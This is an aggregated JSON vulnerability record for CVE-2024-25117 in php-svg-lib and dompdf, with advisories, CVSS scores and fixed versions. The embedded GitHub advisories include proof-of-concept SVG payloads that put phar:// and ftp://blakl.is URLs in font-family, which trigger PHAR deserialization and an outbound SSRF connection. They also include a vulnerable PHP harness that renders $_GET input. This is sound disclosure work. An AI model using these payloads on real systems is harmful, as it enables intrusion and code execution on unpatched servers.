{"id":"CVE-2024-25117","aliases":["CLSA-2026-1773276768","CLSA-2026-1786609589","DEBIAN-CVE-2024-25117","DSA-5642-1","EUVD-2024-0625","GHSA-97m3-52wr-xvv2","GHSA-f3qr-qr4x-j273"],"status":"published","title":"php-svg-lib lacks path validation on font through SVG inline styles","description":"php-svg-lib is a scalable vector graphics (SVG) file parsing/rendering library. Prior to version 0.5.2, php-svg-lib fails to validate that font-family doesn't contain a PHAR url, which might leads to RCE on PHP \u003c 8.0, and doesn't validate if external references are allowed. This might leads to bypass of restrictions or RCE on projects that are using it, if they do not strictly revalidate the fontName that is passed by php-svg-lib. The `Style::fromAttributes(`), or the `Style::parseCssStyle()` should check the content of the `font-family` and prevents it to use a PHAR url, to avoid passing an invalid and dangerous `fontName` value to other libraries. The same check as done in the `Style::fromStyleSheets` might be reused. Libraries using this library as a dependency might be vulnerable to some bypass of restrictions, or even remote code execution, if they do not double check the value of the `fontName` that is passed by php-svg-lib. Version 0.5.2 contains a fix for this issue.","severity":{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00932,"percentile":0.61114,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-502","CWE-610","CWE-73"],"published":"2024-02-21T16:25:17Z","modified":"2026-11-02T12:01:33Z","fixes":[{"ecosystem":"Packagist","package":"phenx/php-svg-lib","fixed_in":["0.5.2"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:12","package":"php-dompdf-svg-lib","fixed_in":["0.5.0-3+deb12u1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"phenx/php-svg-lib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.5.2"}]}]},{"source":"ghsa","ecosystem":"Packagist","package":"phenx/php-svg-lib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.5.2"}]}]},{"source":"osv","ecosystem":"TuxCare:Packagist","package":"phenx/php-svg-lib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.3.4"},{"fixed":"0.3.4-p1+tuxcare"}]}],"versions":["0.3.4"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:Packagist","package":"phenx/php-svg-lib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.4.1"},{"fixed":"0.4.1-p1+tuxcare"}]}],"versions":["0.4.1"],"bundled":2},{"source":"osv","ecosystem":"Debian:12","package":"php-dompdf-svg-lib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.5.0-3+deb12u1"}]}],"versions":["0.5.0-3"]},{"source":"osv","ecosystem":"Debian:12","package":"php-dompdf-svg-lib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.5.0-3+deb12u1"}]}],"versions":["0.5.0-3"],"bundled":3},{"source":"osv","ecosystem":"Packagist","package":"phenx/php-svg-lib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.5.2"}]}],"versions":["0.1","0.3.4","0.4.0","0.4.1","0.5.0","0.5.1","v0.2","v0.3.0","v0.3.1","v0.3.2","v0.3.3"]},{"source":"osv","ecosystem":"Packagist","package":"phenx/php-svg-lib","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.5.2"}]}],"versions":["0.1","0.3.4","0.4.0","0.4.1","0.5.0","0.5.1","v0.2","v0.3.0","v0.3.1","v0.3.2","v0.3.3"]}],"products":[{"vendor":"dompdf","product":"php-svg-lib"}],"references":[{"url":"https://github.com/dompdf/php-svg-lib/security/advisories/GHSA-f3qr-qr4x-j273","tags":["x_refsource_CONFIRM","x_transferred","Vendor Advisory","advisory","web"]},{"url":"https://github.com/dompdf/php-svg-lib/commit/732faa9fb4309221e2bd9b2fda5de44f947133aa","tags":["x_refsource_MISC","x_transferred","Patch","fix","web"]},{"url":"https://github.com/dompdf/php-svg-lib/commit/8ffcc41bbde39f09f94b9760768086f12bbdce42","tags":["x_refsource_MISC","x_transferred","Patch","fix","web"]},{"url":"https://github.com/dompdf/dompdf/security/advisories/GHSA-97m3-52wr-xvv2","tags":["web"]},{"url":"https://github.com/advisories/GHSA-97m3-52wr-xvv2"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-25117","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-f3qr-qr4x-j273"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/25xxx/CVE-2024-25117.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2024-25117","tags":["advisory"]},{"url":"https://github.com/dompdf/dompdf","tags":["package"]},{"url":"https://github.com/dompdf/php-svg-lib","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2024-25117","title":"php-svg-lib lacks path validation on font through SVG inline styles ","description":"php-svg-lib is a scalable vector graphics (SVG) file parsing/rendering library. Prior to version 0.5.2, php-svg-lib fails to validate that font-family doesn't contain a PHAR url, which might leads to RCE on PHP \u003c 8.0, and doesn't validate if external references are allowed. This might leads to bypass of restrictions or RCE on projects that are using it, if they do not strictly revalidate the fontName that is passed by php-svg-lib. The `Style::fromAttributes(`), or the `Style::parseCssStyle()` should check the content of the `font-family` and prevents it to use a PHAR url, to avoid passing an invalid and dangerous `fontName` value to other libraries. The same check as done in the `Style::fromStyleSheets` might be reused. Libraries using this library as a dependency might be vulnerable to some bypass of restrictions, or even remote code execution, if they do not double check the value of the `fontName` that is passed by php-svg-lib. Version 0.5.2 contains a fix for this issue.","status":"published","published":"2024-02-21T16:25:17.97Z","modified":"2024-08-28T17:57:19.358Z","cvss":[{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L","level":"medium","assessor":"cna"}],"cwes":["CWE-73","CWE-502"],"updated_at":"2026-11-02T14:34:04.341725Z"}],"euvd":[{"id":"EUVD-2024-0625","description":"php-svg-lib is a scalable vector graphics (SVG) file parsing/rendering library. Prior to version 0.5.2, php-svg-lib fails to validate that font-family doesn't contain a PHAR url, which might leads to RCE on PHP \u003c 8.0, and doesn't validate if external references are allowed. This might leads to bypass of restrictions or RCE on projects that are using it, if they do not strictly revalidate the fontName that is passed by php-svg-lib. The `Style::fromAttributes(`), or the `Style::parseCssStyle()` should check the content of the `font-family` and prevents it to use a PHAR url, to avoid passing an invalid and dangerous `fontName` value to other libraries. The same check as done in the `Style::fromStyleSheets` might be reused. Libraries using this library as a dependency might be vulnerable to some bypass of restrictions, or even remote code execution, if they do not double check the value of the `fontName` that is passed by php-svg-lib. Version 0.5.2 contains a fix for this issue.","status":"published","published":"2024-02-21T16:25:17Z","modified":"2024-08-28T17:57:19Z","cvss":[{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L","level":"medium"}],"updated_at":"2026-11-03T00:56:08.84137Z"}],"ghsa":[{"id":"GHSA-97m3-52wr-xvv2","title":"Dompdf's usage of vulnerable version of phenx/php-svg-lib leads to restriction bypass and potential RCE","description":"### Summary\nA lack of sanitization/check in the font path returned by php-svg-lib, in the case of a inline CSS font defined, that will be used by Cpdf to open a font will be passed to a `file_exists` call, which is sufficient to trigger metadata unserializing on a PHAR file, through the phar:// URL handler on PHP \u003c 8.0. On other versions, it might be used as a way to get a SSRF through, for example, ftp, not restricted by authorized protocols configured on dompdf.\n\n### Details\nThe problem lies on the `openFont` function of the `lib/Cpdf.php` library, when the `$font` variable passed by php-svg-lib isn't checked correctly. A path is crafted through $name and $dir, which are two values that can be controlled through CSS : \n\n```\n$name = basename($font);\n$dir = dirname($font);\n[...]\n$metrics_name = \"$name.ufm\";\n[...]\n\nif (!isset($this-\u003efonts[$font]) \u0026\u0026 file_exists(\"$dir/$metrics_name\")) {\n```\n\nPassing a font named `phar:///foo/bar/baz.phar/test` will set the value of $name to `test` and $dir to `phar:///foo/bar/baz.phar`, which once reconstructed will call file_exists on `phar:///foo/bar/baz.phar/test.ufm`. That allows to deserialize the `baz.phar` arbitrary file that contains a `test.ufm` file in the archive.\n\n\n### PoC\n\nConsider the following, minimal PHP code : \n\n```\n\u003c?php\nrequire('vendor/autoload.php');\n\nuse Dompdf\\Dompdf;\n$dompdf = new Dompdf();\n$dompdf-\u003eloadHtml($_GET['payload']);\n$dompdf-\u003esetPaper('A4', 'landscape');\n$options = $dompdf-\u003egetOptions();\n$options-\u003esetAllowedProtocols([]);\n$dompdf-\u003erender();\n$dompdf-\u003estream();\n```\n\nWith payload being this html file : \n\n```\n\u003chtml\u003e\n\u003cimg src=\"\"\u003e\u003c/img\u003e\n\u003c/html\u003e\n```\n\nwith the base64 image being : \n```\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?\u003e\n\u003csvg xmlns:svg=\"http://www.w3.org/2000/svg\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"200\" height=\"200\"\u003e\n    \u003ctext x=\"20\" y=\"35\" style=\"color:red;font-family:ftp://blakl.is:21/x/y;\"\u003eMy\u003c/text\u003e\n\u003c/svg\u003e\n```\n\nA connection on ftp://blakl.is:21/ will occur, bypassing the allowed protocols.\n\n### Impact\nAn attacker might be able to exploit the vulnerability to call arbitrary URL with arbitrary protocols, if they can force dompdf to parse a SVG with an inline CSS property using a malicious font-family. In PHP versions before 8.0.0, it leads to arbitrary unserialize, that will leads at the very least to an arbitrary file deletion, and might leads to remote code execution, depending on classes that are available.","status":"published","published":"2024-02-22T18:15:41Z","modified":"2026-03-24T05:03:57Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-73","CWE-502"],"updated_at":"2026-11-02T14:39:40.633038Z"},{"id":"GHSA-f3qr-qr4x-j273","title":"php-svg-lib lacks path validation on font through SVG inline styles ","description":"### Summary\nphp-svg-lib fails to validate that font-family doesn't contain a PHAR url, which might leads to RCE on PHP \u003c 8.0, and doesn't validate if external references are allowed. This might leads to bypass of restrictions or RCE on projects that are using it, if they do not strictly revalidate the fontName that is passed by php-svg-lib.\n\n### Details\nThe Style::fromAttributes(), or the Style::parseCssStyle() should check the content of the `font-family` and prevents it to use a PHAR url, to avoid passing an invalid and dangerous `fontName` value to other libraries. The same check as done in the Style::fromStyleSheets might be reused : \n\n```\n                if (\n                    \\array_key_exists(\"font-family\", $styles)\n                    \u0026\u0026 (\n                        \\strtolower(\\substr($this-\u003ehref, 0, 7)) === \"phar://\"\n                        || ($this-\u003edocument-\u003eallowExternalReferences === false \u0026\u0026 \\strtolower(\\substr($this-\u003ehref, 0, 5)) !== \"data:\")\n                    )\n                ) {\n                    unset($style[\"font-family\"]);\n                }\n```\n\n### PoC \n\nParsing the following SVG : \n\n```\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?\u003e\n\u003csvg xmlns:svg=\"http://www.w3.org/2000/svg\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"200\" height=\"200\"\u003e\n    \u003ctext x=\"20\" y=\"35\" style=\"color:red;font-family:phar:///path/to/whatever.phar/blaklis;\"\u003eMy\u003c/text\u003e\n\u003c/svg\u003e\n```\n\nwill pass the `phar:///path/to/whatever.phar/blaklis` as `$family` in `SurfaceCpdf::setFont`, which is then passed to the canvas `selectFont` as a `$fontName`.\n\n### Impact\nLibraries using this library as a dependency might be vulnerable to some bypass of restrictions, or even RCE, if they do not double check the value of the `fontName` that is passed by php-svg-lib","status":"published","published":"2024-02-21T18:04:16Z","modified":"2026-03-18T05:08:01Z","cvss":[{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L","level":"medium"}],"cwes":["CWE-73","CWE-502","CWE-610"],"updated_at":"2026-11-02T14:39:37.554665Z"}],"nvd":[{"id":"CVE-2024-25117","description":"php-svg-lib is a scalable vector graphics (SVG) file parsing/rendering library. Prior to version 0.5.2, php-svg-lib fails to validate that font-family doesn't contain a PHAR url, which might leads to RCE on PHP \u003c 8.0, and doesn't validate if external references are allowed. This might leads to bypass of restrictions or RCE on projects that are using it, if they do not strictly revalidate the fontName that is passed by php-svg-lib. The `Style::fromAttributes(`), or the `Style::parseCssStyle()` should check the content of the `font-family` and prevents it to use a PHAR url, to avoid passing an invalid and dangerous `fontName` value to other libraries. The same check as done in the `Style::fromStyleSheets` might be reused. Libraries using this library as a dependency might be vulnerable to some bypass of restrictions, or even remote code execution, if they do not double check the value of the `fontName` that is passed by php-svg-lib. Version 0.5.2 contains a fix for this issue.","status":"published","published":"2024-02-21T17:15:09.617Z","modified":"2026-06-17T07:15:32.317Z","cvss":[{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L","level":"medium","assessor":"secondary"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"primary"}],"cwes":["CWE-73","CWE-502","CWE-610"],"updated_at":"2026-11-02T14:09:37.655131Z"}],"osv":[{"id":"CVE-2024-25117","title":"php-svg-lib lacks path validation on font through SVG inline styles ","description":"php-svg-lib is a scalable vector graphics (SVG) file parsing/rendering library. Prior to version 0.5.2, php-svg-lib fails to validate that font-family doesn't contain a PHAR url, which might leads to RCE on PHP \u003c 8.0, and doesn't validate if external references are allowed. This might leads to bypass of restrictions or RCE on projects that are using it, if they do not strictly revalidate the fontName that is passed by php-svg-lib. The `Style::fromAttributes(`), or the `Style::parseCssStyle()` should check the content of the `font-family` and prevents it to use a PHAR url, to avoid passing an invalid and dangerous `fontName` value to other libraries. The same check as done in the `Style::fromStyleSheets` might be reused. Libraries using this library as a dependency might be vulnerable to some bypass of restrictions, or even remote code execution, if they do not double check the value of the `fontName` that is passed by php-svg-lib. Version 0.5.2 contains a fix for this issue.","status":"published","published":"2024-02-21T16:25:17.97Z","modified":"2026-10-28T02:30:35.910332977Z","cvss":[{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L","level":"medium"}],"cwes":["CWE-502","CWE-73"],"updated_at":"2026-11-02T15:44:38.897406Z"},{"id":"DEBIAN-CVE-2024-25117","description":"php-svg-lib is a scalable vector graphics (SVG) file parsing/rendering library. Prior to version 0.5.2, php-svg-lib fails to validate that font-family doesn't contain a PHAR url, which might leads to RCE on PHP \u003c 8.0, and doesn't validate if external references are allowed. This might leads to bypass of restrictions or RCE on projects that are using it, if they do not strictly revalidate the fontName that is passed by php-svg-lib. The `Style::fromAttributes(`), or the `Style::parseCssStyle()` should check the content of the `font-family` and prevents it to use a PHAR url, to avoid passing an invalid and dangerous `fontName` value to other libraries. The same check as done in the `Style::fromStyleSheets` might be reused. Libraries using this library as a dependency might be vulnerable to some bypass of restrictions, or even remote code execution, if they do not double check the value of the `fontName` that is passed by php-svg-lib. Version 0.5.2 contains a fix for this issue.","status":"published","published":"2024-02-21T17:15:09.617Z","modified":"2026-11-02T12:01:33.66071519Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T15:45:41.849198Z"},{"id":"GHSA-97m3-52wr-xvv2","title":"Dompdf's usage of vulnerable version of phenx/php-svg-lib leads to restriction bypass and potential RCE","description":"### Summary\nA lack of sanitization/check in the font path returned by php-svg-lib, in the case of a inline CSS font defined, that will be used by Cpdf to open a font will be passed to a `file_exists` call, which is sufficient to trigger metadata unserializing on a PHAR file, through the phar:// URL handler on PHP \u003c 8.0. On other versions, it might be used as a way to get a SSRF through, for example, ftp, not restricted by authorized protocols configured on dompdf.\n\n### Details\nThe problem lies on the `openFont` function of the `lib/Cpdf.php` library, when the `$font` variable passed by php-svg-lib isn't checked correctly. A path is crafted through $name and $dir, which are two values that can be controlled through CSS : \n\n```\n$name = basename($font);\n$dir = dirname($font);\n[...]\n$metrics_name = \"$name.ufm\";\n[...]\n\nif (!isset($this-\u003efonts[$font]) \u0026\u0026 file_exists(\"$dir/$metrics_name\")) {\n```\n\nPassing a font named `phar:///foo/bar/baz.phar/test` will set the value of $name to `test` and $dir to `phar:///foo/bar/baz.phar`, which once reconstructed will call file_exists on `phar:///foo/bar/baz.phar/test.ufm`. That allows to deserialize the `baz.phar` arbitrary file that contains a `test.ufm` file in the archive.\n\n\n### PoC\n\nConsider the following, minimal PHP code : \n\n```\n\u003c?php\nrequire('vendor/autoload.php');\n\nuse Dompdf\\Dompdf;\n$dompdf = new Dompdf();\n$dompdf-\u003eloadHtml($_GET['payload']);\n$dompdf-\u003esetPaper('A4', 'landscape');\n$options = $dompdf-\u003egetOptions();\n$options-\u003esetAllowedProtocols([]);\n$dompdf-\u003erender();\n$dompdf-\u003estream();\n```\n\nWith payload being this html file : \n\n```\n\u003chtml\u003e\n\u003cimg src=\"\"\u003e\u003c/img\u003e\n\u003c/html\u003e\n```\n\nwith the base64 image being : \n```\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?\u003e\n\u003csvg xmlns:svg=\"http://www.w3.org/2000/svg\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"200\" height=\"200\"\u003e\n    \u003ctext x=\"20\" y=\"35\" style=\"color:red;font-family:ftp://blakl.is:21/x/y;\"\u003eMy\u003c/text\u003e\n\u003c/svg\u003e\n```\n\nA connection on ftp://blakl.is:21/ will occur, bypassing the allowed protocols.\n\n### Impact\nAn attacker might be able to exploit the vulnerability to call arbitrary URL with arbitrary protocols, if they can force dompdf to parse a SVG with an inline CSS property using a malicious font-family. In PHP versions before 8.0.0, it leads to arbitrary unserialize, that will leads at the very least to an arbitrary file deletion, and might leads to remote code execution, depending on classes that are available.","status":"published","published":"2024-02-22T18:15:41Z","modified":"2024-11-30T05:28:01.236712Z","cvss":[{"version":"3.1","score":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-502","CWE-73"],"updated_at":"2026-11-02T15:46:43.524801Z"},{"id":"GHSA-f3qr-qr4x-j273","title":"php-svg-lib lacks path validation on font through SVG inline styles ","description":"### Summary\nphp-svg-lib fails to validate that font-family doesn't contain a PHAR url, which might leads to RCE on PHP \u003c 8.0, and doesn't validate if external references are allowed. This might leads to bypass of restrictions or RCE on projects that are using it, if they do not strictly revalidate the fontName that is passed by php-svg-lib.\n\n### Details\nThe Style::fromAttributes(), or the Style::parseCssStyle() should check the content of the `font-family` and prevents it to use a PHAR url, to avoid passing an invalid and dangerous `fontName` value to other libraries. The same check as done in the Style::fromStyleSheets might be reused : \n\n```\n                if (\n                    \\array_key_exists(\"font-family\", $styles)\n                    \u0026\u0026 (\n                        \\strtolower(\\substr($this-\u003ehref, 0, 7)) === \"phar://\"\n                        || ($this-\u003edocument-\u003eallowExternalReferences === false \u0026\u0026 \\strtolower(\\substr($this-\u003ehref, 0, 5)) !== \"data:\")\n                    )\n                ) {\n                    unset($style[\"font-family\"]);\n                }\n```\n\n### PoC \n\nParsing the following SVG : \n\n```\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?\u003e\n\u003csvg xmlns:svg=\"http://www.w3.org/2000/svg\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"200\" height=\"200\"\u003e\n    \u003ctext x=\"20\" y=\"35\" style=\"color:red;font-family:phar:///path/to/whatever.phar/blaklis;\"\u003eMy\u003c/text\u003e\n\u003c/svg\u003e\n```\n\nwill pass the `phar:///path/to/whatever.phar/blaklis` as `$family` in `SurfaceCpdf::setFont`, which is then passed to the canvas `selectFont` as a `$fontName`.\n\n### Impact\nLibraries using this library as a dependency might be vulnerable to some bypass of restrictions, or even RCE, if they do not double check the value of the `fontName` that is passed by php-svg-lib","status":"published","published":"2024-02-21T18:04:16Z","modified":"2026-09-10T03:50:06.245766438Z","cvss":[{"version":"3.1","score":6.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L","level":"medium"}],"cwes":["CWE-502","CWE-610","CWE-73"],"updated_at":"2026-11-02T15:46:45.639885Z"},{"id":"CLSA-2026-1773276768","title":"TuxCare security update for phenx/php-svg-lib (3 CVEs)","description":"TuxCare rebuilt phenx/php-svg-lib to address 3 CVEs. Fixed in 0.3.4-p1+tuxcare.","status":"published","published":"2026-08-04T14:52:36Z","modified":"2026-10-15T09:47:59.586365027Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1786609589","title":"TuxCare security update for phenx/php-svg-lib (3 CVEs)","description":"TuxCare rebuilt phenx/php-svg-lib to address 3 CVEs. Fixed in 0.4.1-p1+tuxcare.","status":"published","published":"2026-08-13T08:26:29Z","modified":"2026-10-15T09:47:59.490230661Z","updated_at":"2026-11-02T15:43:47.20725Z"},{"id":"DSA-5642-1","title":"php-dompdf-svg-lib - security update","status":"published","published":"2024-03-20T00:00:00Z","modified":"2026-03-09T02:10:07.620025Z","updated_at":"2026-11-02T15:46:17.892347Z"}]}}